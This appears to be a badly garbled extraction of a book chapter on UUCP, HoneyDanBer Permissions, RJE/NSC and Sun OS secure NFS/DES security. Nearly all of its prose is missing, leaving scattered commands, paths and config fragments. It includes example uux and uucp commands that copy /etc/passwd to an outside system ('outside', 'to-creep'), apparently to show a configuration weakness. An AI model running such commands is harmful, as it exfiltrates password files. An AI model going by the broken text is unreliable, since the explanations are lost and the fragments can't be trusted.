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25.1 UUCP

UUCP

UUCP Linux
UUCP Linux

UUCP

25.1.1 UUCP

UUCP

uucp
uucp source_file destination_file

source_file
destination_file
systemlfilename system!directory
uucp
{usr/spool/uucppublic uucp
remote access to path / file denied

uucp

uucp

uucp names remote!~/john/names
uucp

system!file
uucp remotes!/usr/john/filel filel

uucppublic
uucp remotes!~/john/filel ~/pat/filel

25.1.2 uux

uux
mail uux
pr listing| uux - "remotel!lp -d pr1"
listing

uux
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UUCP

uucp cp

destination_file

uucp

~ /usr/spool/uucppublic/

“ ” uux

uux

remotel pri uux
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uux "yoursysluucp yoursys!/etc/passwd  outside!~/passwd

/etc/passwd outside

rmail mail uux rnews
netnews netnews Ip
25.1.3 uucico

uucp  Uux

uucico uucico
uucico cron
uucico /etc/passwd uucico
uucico

uucico

25.1.4 uuxqt
uucico uucico
uuxqt

remotel mail uux remotel remail
remail uux uucico

remotel uucico remotel remotel
uuxqt uux uux remail remotel
uucico cron 1 uucico uucico

uux remotel remotel
remotel remotel “ "

25.2 UUCP

UUCP [ uucp
/ uucp

UUCP uucico
uucp
uuxqt

25.2.1 USERFILE

uucico {usr/lib/uucp/USERFILE

login sys[c] path_name [path_name ]

login sys c call_back path_name
uucico USERFILE

login sys call_back C uucico
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Xyz Xyz
C uucico
path_name
. USERFILE uucico
. sys uucico USERFILE
nuucp /usr/spool/uucppublic nuucp cbuucp ¢
cbuucp Sys
uucico
. call_back
call_back

. USERFILE login uucico

uucico path_name

USERFILE pat /usr/pat pat /usr/pat
{usr/spool/uucppublic /tmp {usr/spool/uucppublic
/tmp uucico / [usr/spool/uucppublic
uucp yoursysl!/etc/passwd to-creep
25.2.2 L.cmds

uuxqt /usr/lib/uucp/L.cmds

uuxgt
rmail

netnews rnews Ip
cat uucp

uux "yoursys!uucp yoursys!/etc/passwd  outside!~/passwd

25.2.3 uucp
UuCP
nuucp uucp /etc/passwd
UuiD GID 5 uucp uucico SUID nuucp
uibD GID
25.2.4 uucp
Jusr/lib/uucp uucp uuxgt uucico

uucp L.cmds USERFILE uucp
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L.sys uucico
uucico L.sys uucp
400 600
uucp /usr/spool/uucp C.
/ D. C.
X. uuxqt
™. uucp
XQTDIR uuxqt X. LOGFILE uucp
uucp
uucp
25.3 HONEYDANBER UUCP
UUCP Linux Vv UUCP
HONEYDANBER UUCP AT&T HONEYDANBER UUCP UucCpP
1
. AT&T 801
. DATAKIT VCS UNET/ETHERNET 3COM/ETHERNET SYTEK TCP
BSD Linux
. LAN
*X.25 X.25
2 /usr/spool/uucp
3
*« USERFILE L.cmds Permissions
25.3.1 HONEYDANBER UUCP UUCP
HONEYDANBER UUCP lusr/lib/uucp/Systems UucCP
{usr/lib/uucp/L.sys HONEYDANBER UUCP /usr/spool/uucp/.log UUCP
Jusr/spool/uucp/logFILE  /usr/spool/uucp/.log uucico uucp  uux  uuxgt
Systems uucico
/usr/lib/uucp/remote.unknown UuUCP
{usr/spool/uucp/ Admin/Foreign
remote.unknown UUCP
C. D. X. TM. [usr/spool/uucp

HONEYDANBER UUCP USERFILE L.cmds
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{usr/lib/uucp/Permissions

rule=list option=yes|no option=list...

rule list rule option
option yes/no /
25.3.2
LOGNAME uucico
LOGNAME=nuucp
nuucp
. /usr/spool/uucppublic
* uucico uucico
Xyz
e uuxqtux
rmail rnews
. uucico
LOGNAME=nuucp xuucp yuucp
LOGNAME UucCpP
“ getlost”
LOGNAME HONEYDANBER UUCP
Permissions LOGNAME /etc/passwd
{usr/lib/uucp/uucico
WRITE
/usr/spool/uucppublic
LOGNAME=nuucp WRITE=/
2-4 UuUCP
LOGNAME=nnuucp WRITE=/usr /floppy
lusr  [floppy REQUEST=yes
LOGNAME=nuucp REQUEST=yes
{usr/spool/uucppublic 1 3 4
READ
LOGNAME=nuucp REQUEST=yes READ=/usr
Jusr WRITE
SENDFILES=yes uucico
LOGNAME=nuucp SENDFILES=yes
1 2 4 CALLBACK=yes call

back
CALLBACK=yes
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NOREAD NOWRITE READ WRITE NOREAD
READ READ

LOGNAME=nuucp REQUEST=yes READ=/ NOREAD=/etc

letc
NOWRITE WRITE
SENDFILE
uucico
LOGNAME=nuucp SENDFILES=yes
LOGNAME-=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/
trusted nuucp
uucp trusted
uucp PUBDIR
PUBDIR uucico
{usr/spool/uucppublic
LOGNAME=nuucp SENDFILES=yes REQUEST=yes \
PUBDIR=/usr/spool/uucppublic/nuucp
LOGNAME-=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/\
PUBDIR=/usr/spool/uucppublic/trusted
nuucp trusted
nuucp
nuucp MYNAME
LOGNAME=Xuucp MYNAME=IOnker
25.3.3 MACHINE
MACHINE MACHINE uucico
READ WRITE REQUEST NOREAD NOWRITE
PUBDIR LOGNAME CALLBACK SENDFILES MYNAME
LOGNAME
MACHINE
MACHINE=zuul gozur enigma WRITE=/ READ=/
zuul gozar enigma / /
/usr/spool/uucppublic
MACHINE OTHER
MACHINE COMMANDS uuxqt
MACHINE=zuul COMMANDS=rmail rnews Ip
zuul rmail rnews Ip uucico uuxqt
COMMANDS
PATH PATH uuxat /bin  /usr/bin COMMANDS

PATH
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MACHINE=zuul COMMANDS=umail /usr/local/bin/rnews Ip
HONEYDANBER UUCP UUCP uucp cat
Xyz"
zuul Ip
zuul Ip
CALLBACK=yes

LOGNAME VALIDATE
“ ? COMMANDS VALIDATE

VALIDATE LOGNAME LOGNAME
LOGNAME=trusted VALIDATE=zuul
MACHINE=COMMANDS=rmail rnews Ip

zuul uucico Permissions LOGNAM E=trusted
VALIDATE=zuul trusted uucico
zuul uucico zuul
trusted
VALIDATE

COMMANDS ALL
ALL! ALL
25.3.4 MACHINE LOGNAME

MACHINE LOGNAME

LOGNAME-=trusted MACHINE=zuul gozur VALIDATE=zuul gozur\
REQUEST=yes SENDFILES=yes \

READ=/ WRITE=/ PUBDIR=/usr/spool/trusted \

COMMANDS=rmail rnews Ip daps

25.3.5 uucheck

Permissions uucheck -v uucp
HONEYDANBER UUCP
Permissions

25.3.6

Linux

uucp
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/usr/mail/login

Forward to system !login

login system login
uucp
uucp
uucp Systems

. uucp

. Permissions
25.3.7

HONEYDANBER UUCP uucp login

grep
{usr/spool/uucp/.L og/uucico/system uucico /usr/spool/uucp/.L og/uuxqt/system
uuxqt uuxqt rmail
grep -v rmail /usr/spool/uucp/.Log/uuxqgt/*
grep -v REMOTE /usr/spool/uucp/.Log/uucico/* | grep "<"
HONEYDANBER UUCP UucCp
25.4
25.4.1
remote job entry RJE Linux
IBM job entry subsystems JES send
usend RJE send RJE JES
usend RJE Linux
send
JES JES
Linux JES “ " RJE

9600 JES usend



China=pubecom

Linux

usend -d system -u login file s

system IBM JES Linux login
file
RJE
. RJE HOME rje
rje
733 Is
RJE
UUCP /usr/uucppublic
* UUCP {usr/spool/uucppublic
uucppublic rje
. uucppublic
rje
* usend
* RJE RJE UucCP
RJE RJE
UUCP RJE UucCP
JES
25.4.2 NSC
network systems corporation NSC
NSC 5000 50MBIT/S NSC
Linux nusend NSC nusend usend
c nusend usend
-C
RJE NSC
NSC NSC
/usr/nsc/log NSC rmail

grep execute /usr/nsc/log/LOGFILE|grep -v rmail

25.5

2551
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DES

DES
64
DES
n DESn n 1 64 DES
64
n 1 1 64
DES 64

DES

DES
25.5.3

. call back

Linux
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25.6 SUN OS
SUN Microsystem SUN OS Linux System V
Linux 4.3 Linux SUN 0S 4.0
Linux Linux
DES DES
SUN OS SUN OS
DES
25.6.1 NFS
NFS
. /etc/exports -Secure DES
/home
home -Secure access=engineering
engineering /home
. /etc/fastab -Secure
* SUN OS /etc/publickey
X nobody
chkey 1
newkey 8
. keyserv 8c /etc/rc.local
/etc/keystore
. yppasswd passwd
letc/passwd
/etc/passwd
. /etc/keystore /etc/.rootkey

login rlogin telnet

/etc/keystore
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25.6.2 NFS

SUN RPC
NFS
NFS
su
NFS

RPC RPC
pages SUN OS

SUN
J root

25.6.3

RPC
RPC
SUN OS
RPC

Linux DES

RPC

25.6.4 Linux

SUN Linux

NFS

Ch?a‘m-w&%

NFS
NFS
rlogin
NFS

NFS Yellow

RPC

credential  verify

RPC
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NFS
mount Internet hostname Linux
Internet
NFS ID
Linux Linux
Linux NFS MS-DOS VMS
Linux MS-DOS
DES
25.6.5 DES
DES
DES
RPC
DES
; CK CK
CK
DES
NFS 30
WIN+1
CK DES
/
A CK
ID CK
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SUN OS
SK

PK SK

Diffie-Hellman

PK SK

DES
publickey byname
Login

yppasswd
RPC

* setsecretkey  secretkey

login

* encrytsessionkey severname des_key

severname
des key

« decrytsessionkey clientname des key

root
client

25.6.7

Linux
uid

uido
DES

Linux

uid
client
client uid
uid ;
NFS

ID
PK
K K
K M
M
DES
SK
RPC
SK
RPC
setsecretkey client
DES
setuid root
setuid

Linux
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yellow page map netid.byname

uid SUN
SUN YP YP ARPA
ARPA
home
SUN SUN
YP
uid
25.6.8 DES
YP YP
NFS Linux NFS
handle
handle Linux NFS
su
* NFS
handle
IP
/etclexports
Linux
-Secure DES DES
25.6.9
su DES

login
Ssu
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/etc/passwd YP
su
login
su DES
DES
DES DES
25.6.10
SUN
M SUN3 192 1
2
DES NFS DES Linux
DES 64 RPC
SUN3 1 1.2
RPC 2 5 NFS
20 DES NFS 10% 25%
DES
DES DES
DES
25.6.11 setuid

DES
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Cc2 ; C2
/etc/ttytab console secure
SUN
setuid dave setuid
dave setuid
DES setuid root
setuid DES
25.6.12
SUN
DES
SUN
SUN
SUN "
DES
DES DES
Diff3-Hellman DES
RPC
DES

DES
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